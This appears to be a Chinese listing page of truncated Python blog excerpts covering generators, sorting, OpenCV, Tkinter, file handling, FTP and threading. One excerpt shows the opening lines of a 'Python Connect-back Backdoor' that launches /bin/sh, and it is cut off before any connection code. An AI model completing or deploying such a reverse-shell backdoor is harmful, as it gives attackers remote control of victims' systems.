Python之美[從菜鳥到高手]–產生器之全景分析

    yield指令,可以暫停一個函數並返回中間結果。使用該指令的函數將儲存執行環境,並且在必要時恢複。產生器比迭代器更加強大也更加複雜,需要花點功夫好好理解貫通。看下面一段代碼:def gen(): for x in xrange(4): tmp = yield x if tmp == 'hello': print 'world' else: print str(tmp)   

飄逸的python – 有的升序有的降序的情況下怎麼多條件排序

之前在統計匯出各區服玩家消費的時候需要進行升序降序混搭的多條件排序。需求是這樣的。區服從小到大排,如果區服相同,則按消費從大到小排。實現方法是利用python的sort演算法是穩定排序,對資料進行多次排序,先排次要條件,後排主要條件。還有一種更簡潔的一行流的方法,不過只有當待排資料是數值的時候才有效。此方法利用相反數的性質,在前面加個負號。下面上代碼。#假設資料如下。data = '''區服,玩家id,累積消費3,a,23801,b,119004,e,32501,k,1004,j,5992,m,

python手記(39)

#!/usr/bin/env python#-*- coding: utf-8 -*-#code:myhaspl@qq.comimport cv2import numpy as npfn="test1.jpg"print 'http://blog.csdn.net/myhaspl'print 'myhaspl@qq.com'printprint 'loading %s ...' % fnprint 'working',img =

python手記(40)

#!/usr/bin/env python#-*- coding: utf-8 -*-#code:myhaspl@qq.comimport cv2import numpy as npfn="test1.jpg"if __name__ == '__main__': print 'http://blog.csdn.net/myhaspl' print 'myhaspl@qq.com' print print 'loading %s ...' % fn print

python手記(41)

python opencv圖片融合#!/usr/bin/env python#-*- coding: utf-8 -*-#code:myhaspl@qq.comimport cv2import numpy as npfn1="he1.jpg"fn2="he2.jpg"if __name__ == '__main__': print 'http://blog.csdn.net/myhaspl' print 'myhaspl@qq.com' print print

linux+python學習筆記

linux:使用 VIM 為文字編輯器vim --進入VIM,按“i”進入 insert(插入文字模式),編寫來源程式按esc,並輸入“:wq +源檔案名稱” --儲存並退出vim  進入vim時,已經可以命名源檔案:vim +源檔案名稱  --進入VIM rm +filename  --刪除檔案  python:linux內裝有python,在命令列下輸入“python”可以得到python的版本資訊,並且進入python模式python模式下可以使用python的函數 #!/usr/bin/

我非我同學的python的反彈shell的代碼

不知道怎麼忽然想看這個,呵呵 小我的python的反shell的代碼 #!/usr/bin/python # Python Connect-back Backdoor # Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com> # Version: 1.0 # Date: July 15th 2006 import sys import os import socket shell = "/bin/sh" def

python這門功夫厲害歸厲害,卻也夠邪氣的(對雙位元組字元支援不是很好)

# -*- coding: utf-8 -*- import os,sysfrom Tkinter import *def GetValue():    password=ent.get()    if password == 'Elaine':        button['bg']='yellow'        print 'hehe'    else:        ent.delete(0,END)        ent.insert(0,'wrong wrong wrong')  

python第十課筆記(本地變數和全域變數)

今天說到全域變數和本地變數,老外老師說了,全域變數就好像好萊塢的明星一樣,每個人都知道。而本地變數需要聲明才能用,不然人們不知道。 #The function,jennifer is local def God();     global Jennifer     Jennifer='pretty' #Main program,always global,Hollywood becomes famous,and everybody knows God() print Jennifer

python第十一課——圖形介面載入gif圖片並用按鈕切換

from Tkinter import *def Get():        inp=ent.get()                pic=PhotoImage(file = inp)        tem=can.create_image(250,200, image = pic) root = Tk()root.geometry('600x600+270+50')lab=Label(root, text='Name of the picture',font=("Helvatica",20

python第十五課——圖形介面文字框排列和調用

      注意看這段代碼,看到老外在linux上跑的時候,三段分別正常跑出介面,而我在Windows2003上跑的時候,只有前兩段能跑出結果。也不知道怎麼回事。如果哪位兄弟知道,還望不惜賜教。from Tkinter import

python(如何計算通過考試的female人數)

堪錯版1:total =0gradeCounter =0while 1:    sex=raw_input("Enter sex")    grade = raw_input("Enter grade,-1  to end:")    grade=int (grade)    if sex == "stop":break    if sex=="F" and grade >=65:        gradeCounter+=1        total=total+1print

python相關的檔案格式

這裡主要寫一些關於Python語言本身有關的檔案 1>*.py 這是最常用的,也是萬能的Python檔案格式.在*.py中儲存了文字格式設定的Python代碼,在運行時,可以由Python解譯器載入代碼,將其即時解釋為機器碼進行執行,不過要注意的是*.py是基於命令列的,因此在運行時會出現一個命令列終端.2>*.pyw 這裡的代碼和*.py是一樣的,不過是基於GUI的,執行時不帶命令列終端.3>*.pyc

Python編碼規範

文章目錄 Python編碼規範 Python編碼規範縮排使用4個空格作為第一級縮排。 TAB或空格不要混合TAB和空格。 最大行長度最大行長度限制在80個字元內。 空白行分割頂層函數和類定義使用二個空行。在類裡面的方法定義用一個空行分割。多餘的空行用來分割相關的函數組。使用空行分割邏輯塊。 語句或運算式裡面的空格x = 1y = 2

python第十六課(殘卷的最後一課)——文本的讀寫和追加

老師教的還是很認真的,而且課也生動,這是第十六課了。還是看代碼:output =file('hello.txt','r')#output.write('/t you are a big /n apple')read_output=output.readlines()print read_output[2]output.close()上面的‘r’可以換成‘w’和‘a’來表示不同的意義,讀寫和追加,大家都是從VB和C語言過來的不是,不用說那麼多了吧,都明白,呵呵,下面繼續。output =file(

python一句代碼幹掉你三天良性睡眠(關於代碼縮排)

python一句代碼幹掉你三天良性睡眠(關於代碼縮排)    需求:一個大學裡提供一門課程,讓學生參加資格考試,考完之後,學校想知道自己學生在考試時的表現,如果通過率高,就增加學費。現在,要求寫一個程式,對考試結果進行總結。這裡假設有10個學生,1表示該學生通過了考試,2表示沒有通過。     1.輸入每個考試結果(1或2)。每次請求另一個考試結果時,都在螢幕上顯示訊息:“Enter result”。     2.統計兩類考試結果的數量(1的數量和2的數量)。    

python進階進階篇——FTP伺服器開發簡述

    在經過老外老師一陣基本功訓練,馬上覺得自己牛比閃閃起來,好了,下面就開始一個小例子,給自己鼓鼓勁。當然,目前三腳貓功夫的狀況還是沒有改變,不過總算是沒有停止前進,繼續加油吧。       首先要裝個外掛程式(也是python寫的,它的名字很嚇人,叫美杜莎),我把medusa-0.5.4.tar.gz下載下來以後,解壓到一個目錄,然後進去執行:python setup.py install。哈哈哈哈,輸出了一堆東東之後(複製到某個集中檔案夾和編譯一些檔案),眾神歸位。    

python(5): string的格式化輸出

字串的格式化在python中也有類似於c中的printf()的格式輸出標記。在python中格式化輸出字串使用的是%運算子,通用的形式為格式標記字串 % 要輸出的值組 其中,左邊部分的”格式標記字串“可以完全和c中的一致。右邊的'值組'如果有兩個及以上的值則需要用小括弧括起來,中間用短號隔開。重點來看左邊的部分。左邊部分的最簡單形式為:%cdoe 其中的code有多種,不過由於在python中,所有東西都可以轉換成string類型,因此,如果沒有什麼特殊需求完全可以全部使用’%s‘來標記。比如:

通過python多線程訪問網頁

通過python多線程訪問網頁@for&ever 2010-07-03   通過python,採用多線程的方式訪問網頁。一個簡單的小例子,訪問三個不同的頁面,每個頁面開20個線程並發訪問。 python指令碼如下: #!/usr/bin/env python# -*- coding: utf-8 -*-'''Created on 2010-7-2@author: forever'''import sysimport threadingfrom urllib import

Pexpect簡單的測試——一個 expect的python實現

 Pexpect簡單的測試——一個 expect的python實現 @for & ever 2010-07-03 Pexpect 是一個自動控制的 Python 模組,可以用來ssh、ftp、passwd、telnet 等命令列進行自動互動。官方網站是 http://www.noah.org/通過它,可以實作類別似 expect

總頁數: 2974 1 .... 257 258 259 260 261 .... 2974 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.